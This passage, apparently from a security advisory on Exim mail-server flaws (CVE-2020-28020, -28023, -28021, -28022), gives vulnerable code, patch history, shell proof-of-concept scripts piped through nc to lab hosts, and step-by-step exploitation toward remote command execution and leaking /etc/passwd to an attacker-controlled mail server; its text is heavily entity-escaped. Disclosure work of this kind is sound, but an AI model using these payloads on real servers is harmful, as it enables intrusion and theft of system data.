FROM:\\u003c\\u003e&#8217;;\\n    sleep 3;\\n    for ((i=0; i\\u003c64000000; i++)); do\\n    [ \\&#8221;$((i%1000000))\\&#8221; -eq 0 ] \\u0026\\u0026 echo \\&#8221;`date` $i\\&#8221; \\u003e\\u00262;\\n    echo &#8216;RCPT TO:lp@localhost&#8217;;\\n    done\\n    ) | \/usr\/sbin\/exim4 -bS | wc\\n    \\n    Program received signal SIGSEGV, Segmentation fault.\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28020: Integer overflow in receive_msg()\\n    ========================================================================\\n    \\n    During our work on Exim, we stumbled across the following commit:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit 56ac062a3ff94fc4e1bbfc2293119c079a4e980b\\n    Date:   Thu Jan 10 21:15:11 2019 +0000\\n    &#8230;\\n    +JH\/41 Fix the loop reading a message header line to check for integer overflow,\\n    +      and more-often against header_maxsize.  Previously a crafted message could\\n    +      induce a crash of the recive process; now the message is cleanly rejected.\\n    &#8230;\\n    +    if (header_size \\u003e= INT_MAX\/2)\\n    +      goto OVERSIZE;\\n         header_size *= 2;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability is exploitable in all Exim versions before 4.92 and\\n    allows an unauthenticated remote attacker to execute arbitrary commands\\n    as the \\&#8221;exim\\&#8221; user. Because this commit was not identified as a security\\n    patch, it was not backported to LTS (Long Term Support) distributions.\\n    For example, Debian oldstable&#8217;s package (exim4_4.89-2+deb9u7) contains\\n    all known security patches, but is vulnerable to CVE-2020-28020 and\\n    hence remotely exploitable.\\n    \\n    By default, Exim limits the size of a mail header to 1MB\\n    (header_maxsize). Unfortunately, an attacker can bypass this limit by\\n    sending only continuation lines (i.e., &#8216;\\\\n&#8217; followed by &#8216; &#8216; or &#8216;\\\\t&#8217;),\\n    thereby overflowing the integer header_size at line 1782:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    1778   if (ptr \\u003e= header_size &#8211; 4)\\n    1779     {\\n    1780     int oldsize = header_size;\\n    1781     \/* header_size += 256; *\/\\n    1782     header_size *= 2;\\n    1783     if (!store_extend(next-\\u003etext, oldsize, header_size))\\n    1784       {\\n    1785       BOOL release_ok = store_last_get[store_pool] == next-\\u003etext;\\n    1786       uschar *newtext = store_get(header_size);\\n    1787       memcpy(newtext, next-\\u003etext, ptr);\\n    1788       if (release_ok) store_release(next-\\u003etext);\\n    1789       next-\\u003etext = newtext;\\n    1790       }\\n    1791     }\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Ironically, this vulnerability was the most difficult to exploit:\\n    \\n    &#8211; when the integer header_size overflows, it becomes negative (INT_MIN),\\n      but we cannot exploit the resulting back-jump at line 1786 (Digression\\n      1b), because the free size of the current memory block also becomes\\n      negative (because 0 &#8211; INT_MIN = INT_MIN, the \\&#8221;Leblancian Paradox\\&#8221;),\\n      which prevents us from writing to this back-jumped memory block;\\n    \\n    &#8211; to overflow the integer header_size, we must send 1GB to Exim:\\n      consequently, our exploit must succeed after only a few tries (in\\n      particular, we cannot brute-force ASLR).\\n    \\n    Note: we can actually overflow header_size with 1GB \/ 2 = 512MB; if we\\n    send a first line that ends with \\&#8221;\\\\r\\\\n\\&#8221;, then Exim transforms every bare\\n    &#8216;\\\\n&#8217; that we send into \\&#8221;\\\\n \\&#8221; (a continuation line):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    1814   if (ch == &#8216;\\\\n&#8217;)\\n    1815     {\\n    1816     if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = FALSE;\\n    1817       else if (first_line_ended_crlf) receive_ungetc(&#8216; &#8216;);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    (\\n    sleep 10;\\n    echo &#8216;EHLO test&#8217;;\\n    sleep 3;\\n    echo &#8216;MAIL FROM:\\u003c\\u003e&#8217;;\\n    sleep 3;\\n    echo &#8216;RCPT TO:postmaster&#8217;;\\n    sleep 3;\\n    echo &#8216;DATA&#8217;;\\n    sleep 3;\\n    printf &#8216;first_line_ended_crlf:TRUE\\\\r\\\\n \\\\n\\\\n\\\\r\\\\nPDKIM_ERR_LONG_LINE:&#8217;;\\n    perl -e &#8216;print \\&#8221;a\\&#8221; x 16384&#8217;;\\n    printf &#8216;\\\\r\\\\nvery_long_header:&#8217;;\\n    for ((i=0; i\\u003c64; i++)); do\\n    echo \\&#8221;`date` $i\\&#8221; \\u003e\\u00262;\\n    perl -e &#8216;print \\&#8221;\\\\n\\&#8221; x 16777216&#8217;;\\n    done\\n    ) | nc -n -v 192.168.56.103 25\\n    \\n    Program received signal SIGSEGV, Segmentation fault.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Exploitation\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    To exploit this vulnerability (on Debian oldstable, for example):\\n    \\n    1\/ We send three separate mails (in the same SMTP session) to achieve\\n    the following memory layout:\\n    \\n                                  mmap memory\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8211;\\n     &#8230; |n|l|    mblock3    |n|l|    mblock2    |n|l|    mblock1    | &#8230;\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8211;\\n                                                  |\\n                                  heap memory     |\\n                        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|v&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8211;\\n                         &#8230; |N|L|N|L|N|L|N|L|N|L|n|l|  hblock  | &#8230;\\n                        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8211;\\n                             \\u003c- fake storeblock -\\u003e\\n    \\n    where n and l are the next and length members of a storeblock structure\\n    (a linked list of allocated memory blocks):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     71 typedef struct storeblock {\\n     72   struct storeblock *next;\\n     73   size_t length;\\n     74 } storeblock;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; we first allocate a 1GB mmap block (mblock1) by sending a mail that\\n      contains a 256MB header of bare &#8216;\\\\n&#8217; characters; the next member of\\n      mblock1&#8217;s storeblock structure initially points to a heap block\\n      (hblock, which immediately follows data that we control);\\n    \\n    &#8211; we allocate a second 1GB mmap block (mblock2) by sending a mail that\\n      also contains a 256MB header of bare &#8216;\\\\n&#8217; characters;\\n    \\n    &#8211; we allocate a third 1GB mmap block (mblock3) by sending a mail that\\n      contains a 512MB header; this overflows the integer header_size, and\\n      forward-overflows mblock3 (Digression 1a), into mblock2 and mblock1:\\n      we overwrite mblock2&#8217;s next pointer with NULL (to avoid a crash in\\n      store_release() at line 1788) and we partially overwrite mblock1&#8217;s\\n      next pointer (with a single null byte).\\n    \\n    2\/ After this overflow, store_reset() traverses the linked list of\\n    allocated memory blocks and follows mblock1&#8217;s overwritten next pointer,\\n    to our own \\&#8221;fake storeblock\\&#8221; structure: a NULL next pointer N (to avoid\\n    a crash in store_reset()), and a large length L that covers the entire\\n    address space (for example, 0x7050505070505050). As a result, Exim&#8217;s\\n    allocator believes that the entire heap is one large, free block of\\n    POOL_MAIN memory (Exim&#8217;s main type of memory allocations).\\n    \\n    This powerful exploit primitive gives us write access to the entire\\n    heap, through POOL_MAIN allocations. But the heap also contains other\\n    types of allocations: we exploit this primitive to overwrite POOL_MAIN\\n    allocations with raw malloc()s (for information disclosure) and to\\n    overwrite POOL_PERM allocations with POOL_MAIN allocations (for\\n    arbitrary code execution).\\n    \\n    3\/ Information disclosure:\\n    \\n    &#8211; First, we send an EHLO command that allocates a large string in raw\\n      malloc() memory.\\n    \\n    &#8211; Second, we send an invalid RCPT TO command that allocates a small\\n      string in POOL_MAIN memory (an error message); this small POOL_MAIN\\n      string overwrites the beginning of the large malloc() string.\\n    \\n    &#8211; Next, we send an invalid EHLO command that free()s the large malloc()\\n      string; this free() overwrites the beginning of the small POOL_MAIN\\n      string with a pointer to the libc (a member of libc&#8217;s malloc_chunk\\n      structure).\\n    \\n    &#8211; Last, we send an invalid DATA command that responds with an error\\n      message: the small, overwritten POOL_MAIN string, and hence the libc\\n      pointer. This information leak is essentially the technique that we\\n      used for CVE-2015-0235 (GHOST).\\n    \\n    4\/ Arbitrary code execution:\\n    \\n    &#8211; First, we start a new mail (MAIL FROM, RCPT TO, and DATA commands);\\n      this calls dkim_exim_verify_init() and allocates a pdkim_ctx structure\\n      in POOL_PERM memory (DKIM is enabled by default since Exim 4.70):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    249 typedef struct pdkim_ctx {\\n    &#8230;\\n    263   int(*dns_txt_callback)(char *, char *);\\n    &#8230;\\n    274 } pdkim_ctx;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; Second, we send a mail header that is allocated to POOL_MAIN memory,\\n      and overwrite the pdkim_ctx structure: we overwrite dns_txt_callback\\n      with a pointer to libc&#8217;s system() function (we derive this pointer\\n      from the information-leaked libc pointer).\\n    \\n    &#8211; Next, we send a \\&#8221;DKIM-Signature:\\&#8221; header (we particularly care about\\n      its \\&#8221;selector\\&#8221; field).\\n    \\n    &#8211; Last, we end our mail; this calls dkim_exim_verify_finish(), which\\n      calls the overwritten dns_txt_callback with a first argument that we\\n      control (through the selector field of our \\&#8221;DKIM-Signature:\\&#8221; header):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    1328 dns_txt_name = string_sprintf(\\&#8221;%s._domainkey.%s.\\&#8221;, sig-\\u003eselector, sig-\\u003edomain);\\n    &#8230;.\\n    1333 if (  ctx-\\u003edns_txt_callback(CS dns_txt_name, CS dns_txt_reply) != PDKIM_OK\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n      In other words, we execute system() with an arbitrary command.\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()\\n    ========================================================================\\n    \\n    In smtp_setup_msg(), which reads the SMTP commands sent by a client to\\n    the Exim server:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    1455 int     smtp_ch_index          = 0;\\n    &#8230;.\\n    1459 uschar  smtp_connection_had[SMTP_HBUFF_SIZE];\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n     126 #define HAD(n) \\\\\\n     127     smtp_connection_had[smtp_ch_index++] = n; \\\\\\n     128     if (smtp_ch_index \\u003e= SMTP_HBUFF_SIZE) smtp_ch_index = 0\\n    &#8230;.\\n    5283     case DATA_CMD:\\n    5284       HAD(SCH_DATA);\\n    &#8230;.\\n    5305           smtp_printf(\\&#8221;503 Valid RCPT command must precede %s\\\\r\\\\n\\&#8221;, FALSE,\\n    5306             smtp_names[smtp_connection_had[smtp_ch_index-1]]);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    &#8211; line 5284 (line 128 in HAD()) can reset smtp_ch_index to 0 (an index\\n      into the circular buffer smtp_connection_had[]);\\n    \\n    &#8211; line 5306 therefore reads smtp_connection_had[-1] out-of-bounds (an\\n      unsigned char index into the array smtp_names[]);\\n    \\n    &#8211; depending on the value of this unsigned char index, line 5306 may also\\n      read smtp_names[smtp_connection_had[-1]] out-of-bounds (a pointer to a\\n      string);\\n    \\n    &#8211; and line 5305 sends this string to the SMTP client and may therefore\\n      disclose sensitive information to an unauthenticated remote attacker.\\n    \\n    On Debian, this out-of-bounds read is not exploitable, because\\n    smtp_connection_had[-1] is always 0 and line 5305 sends smtp_names[0]\\n    (\\&#8221;NONE\\&#8221;) to the client. However, the memory layout of the Exim binary\\n    may be more favorable to attackers on other operating systems.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    (\\n    sleep 10;\\n    echo &#8216;EHLO test&#8217;;\\n    sleep 3;\\n    echo &#8216;MAIL FROM:\\u003c\\u003e&#8217;;\\n    sleep 3;\\n    for ((i=0; i\\u003c20-3; i++)); do\\n    echo &#8216;RCPT TO:nonexistent&#8217;;\\n    done;\\n    sleep 3;\\n    echo &#8216;DATA&#8217;;\\n    sleep 3\\n    ) | nc -n -v 192.168.56.101 25\\n    &#8230;\\n    503-All RCPT commands were rejected with this error:\\n    503-501 nonexistent: recipient address must contain a domain\\n    503 Valid RCPT command must precede NONE\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    History\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability was introduced in Exim 4.88:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit 18481de384caecff421f23f715be916403f5d0ee\\n    Date:   Mon Jul 11 23:36:45 2016 +0100\\n    &#8230;\\n    &#8211;        smtp_printf(\\&#8221;503 Valid RCPT command must precede DATA\\\\r\\\\n\\&#8221;);\\n    +        smtp_printf(\\&#8221;503 Valid RCPT command must precede %s\\\\r\\\\n\\&#8221;,\\n    +         smtp_names[smtp_connection_had[smtp_ch_index-1]]);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    and was independently discovered by Exim&#8217;s developers in July 2020:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit afaf5a50b05810d75c1f7ae9d1cd83697815a997\\n    Date:   Thu Jul 23 16:32:29 2020 +0100\\n    &#8230;\\n    +#define SMTP_HBUFF_PREV(n)     ((n) ? (n)-1 : SMTP_HBUFF_SIZE-1)\\n    &#8230;\\n              smtp_printf(\\&#8221;503 Valid RCPT command must precede %s\\\\r\\\\n\\&#8221;, FALSE,\\n    &#8211;           smtp_names[smtp_connection_had[smtp_ch_index-1]]);\\n    +           smtp_names[smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)]]);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28021: New-line injection into spool header file (remote)\\n    ========================================================================\\n    \\n    An authenticated SMTP client can add an AUTH= parameter to its MAIL FROM\\n    command. This AUTH= parameter is decoded by auth_xtextdecode():\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    4697           case ENV_MAIL_OPT_AUTH:\\n    &#8230;.\\n    4703               if (auth_xtextdecode(value, \\u0026authenticated_sender) \\u003c 0)\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    and the resulting authenticated_sender is written to the spool header\\n    file without encoding or escaping:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    212 if (authenticated_sender)\\n    213   fprintf(fp, \\&#8221;-auth_sender %s\\\\n\\&#8221;, authenticated_sender);\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Unfortunately, authenticated_sender can contain arbitrary characters,\\n    because auth_xtextdecode() translates hexadecimal +XY sequences into\\n    equivalent characters (for example, +0A into &#8216;\\\\n&#8217;): an authenticated\\n    remote attacker can inject new lines into the spool header file and\\n    execute arbitrary commands, as root.\\n    \\n    This vulnerability is particularly problematic for Internet service\\n    providers and mail providers that deploy Exim and offer mail accounts\\n    but not shell accounts. It is also problematic when combined with an\\n    authentication bypass such as CVE-2020-12783, discovered by Orange Tsai\\n    in May 2020 (https:\/\/bugs.exim.org\/show_bug.cgi?id=2571).\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Proof of concept\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    nc -n -v 192.168.56.101 25\\n    &#8230;\\n    EHLO test\\n    &#8230;\\n    250-AUTH PLAIN\\n    &#8230;\\n    AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0\\n    235 Authentication succeeded\\n    MAIL FROM:\\u003c\\u003e AUTH=Raven+0AReyes\\n    250 OK\\n    RCPT TO:postmaster\\n    250 Accepted\\n    DATA\\n    354 Enter message, ending with \\&#8221;.\\&#8221; on a line by itself\\n    .\\n    250 OK id=1kb6VC-0003BW-Rg\\n    \\n    2020-11-06 13:30:42 1kb6VC-0003BW-Rg Format error in spool file 1kb6VC-0003BW-Rg-H: size=530\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Exploitation\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Our exploit for CVE-2020-28021 is essentially the same as our exploit\\n    for CVE-2020-28015. The main difference is that Exim&#8217;s ACLs limit the\\n    length of our header lines to 998 characters. However, this limit can be\\n    easily bypassed, by splitting long header lines into 990-character lines\\n    separated by \\&#8221;\\\\n \\&#8221; (i.e., continuation lines).\\n    \\n    We can also transform CVE-2020-28021 into an information disclosure:\\n    \\n    &#8211; First, we inject an arbitrary recipient line into the spool header\\n      file: an arbitrary recipient address (for example, attacker@fake.com)\\n      and an errors_to string that is read out-of-bounds (the same technique\\n      as for CVE-2020-28015).\\n    \\n    &#8211; Next, we wait for Exim to connect to our own mail server, fake.com&#8217;s\\n      MX (we use https:\/\/github.com\/iphelix\/dnschef to set up a quick and\\n      easy DNS server).\\n    \\n    &#8211; Last, we retrieve the out-of-bounds errors_to string from Exim&#8217;s MAIL\\n      FROM command (which, in this example, contains a fragment of\\n      \/etc\/passwd):\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    (\\n    sleep 10;\\n    echo &#8216;EHLO test&#8217;;\\n    sleep 3;\\n    echo &#8216;AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0&#8217;;\\n    sleep 3;\\n    echo &#8216;MAIL FROM:\\u003c\\u003e AUTH=x+0AXX+0A1+0Aattacker@fake.com+208192,-1#1+0A+0A990*&#8217;;\\n    sleep 3;\\n    echo &#8216;RCPT TO:postmaster&#8217;;\\n    sleep 3;\\n    echo &#8216;DATA&#8217;;\\n    sleep 3;\\n    printf &#8216;Message-Id: X\\\\n&#8217;;\\n    printf &#8216;From: X@localhost\\\\n&#8217;;\\n    printf &#8216;Date: X\\\\n&#8217;;\\n    printf &#8216;X:%0990d2* X\\\\n&#8217; 0;\\n    echo &#8216;.&#8217;;\\n    sleep 10\\n    ) | nc -n -v 192.168.56.101 25\\n    \\n    nc -n -v -l 25\\n    &#8230;\\n    Ncat: Connection from 192.168.56.101.\\n    &#8230;\\n    MAIL FROM:\\u003cs:x:3:\\n    adm:x:4:\\n    tty:x:5:\\n    &#8230;\\n    Debian-exim:x:114:\\n    jane:x:1001:\\n    &#8230;\\n    Debian-exim:x:107:114::\/var\/spool\/exim4:\/usr\/sbin\/nologin\\n    jane:x:1001:1001:,,,:\/home\/jane:\/bin\/bash\\n    \\u003e\\n    &#8230;\\n    RCPT TO:\\u003cattacker@fake.com\\u003e\\n    &#8230;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    \\n    \\n    ========================================================================\\n    CVE-2020-28022: Heap out-of-bounds read and write in extract_option()\\n    ========================================================================\\n    \\n    The name=value parameters such as AUTH= are extracted from MAIL FROM and\\n    RCPT TO commands by extract_option():\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    1994 static BOOL\\n    1995 extract_option(uschar **name, uschar **value)\\n    1996 {\\n    1997 uschar *n;\\n    1998 uschar *v = smtp_cmd_data + Ustrlen(smtp_cmd_data) &#8211; 1;\\n    &#8230;.\\n    2001 while (v \\u003e smtp_cmd_data \\u0026\\u0026 *v != &#8216;=&#8217; \\u0026\\u0026 !isspace(*v))\\n    2002   {\\n    &#8230;.\\n    2005   if (*v == &#8216;\\&#8221;&#8216;) do v&#8211;; while (*v != &#8216;\\&#8221;&#8216; \\u0026\\u0026 v \\u003e smtp_cmd_data+1);\\n    2006   v&#8211;;\\n    2007   }\\n    2008 \\n    2009 n = v;\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Unfortunately, this function can decrease v (value) and hence n (name)\\n    out of smtp_cmd_data&#8217;s bounds (into the preceding smtp_cmd_buffer):\\n    \\n    &#8211; at line 2001, v can point to smtp_cmd_data + 1;\\n    \\n    &#8211; at line 2005, v&#8211; decrements v to smtp_cmd_data;\\n    \\n    &#8211; at line 2006, v&#8211; decrements v to smtp_cmd_data &#8211; 1.\\n    \\n    Subsequently, the code in extract_option() and smtp_setup_msg() reads\\n    from and writes to v and n out of smtp_cmd_data&#8217;s bounds.\\n    \\n    If exploitable, this vulnerability would allow an unauthenticated remote\\n    attacker to execute arbitrary commands as the \\&#8221;exim\\&#8221; user. So far we\\n    were unable to exploit this vulnerability: although we are able to\\n    decrease v and n out of smtp_cmd_data&#8217;s bounds, we were unable to\\n    decrease v or n out of the preceding smtp_cmd_buffer&#8217;s bounds.\\n    Surprisingly, however, we do use this vulnerability in our\\n    proof-of-concept for CVE-2020-28026.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    History\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    This vulnerability was introduced in Exim 4.89:\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    commit d7a2c8337f7b615763d4429ab27653862756b6fb\\n    Date:   Tue Jan 24 18:17:10 2017 +0000\\n    &#8230;\\n    -while (v \\u003e smtp_cmd_data \\u0026\\u0026 *v != &#8216;=&#8217; \\u0026\\u0026 !isspace(*v)) v&#8211;;\\n    +while (v \\u003e smtp_cmd_data \\u0026\\u0026 *v != &#8216;=&#8217; 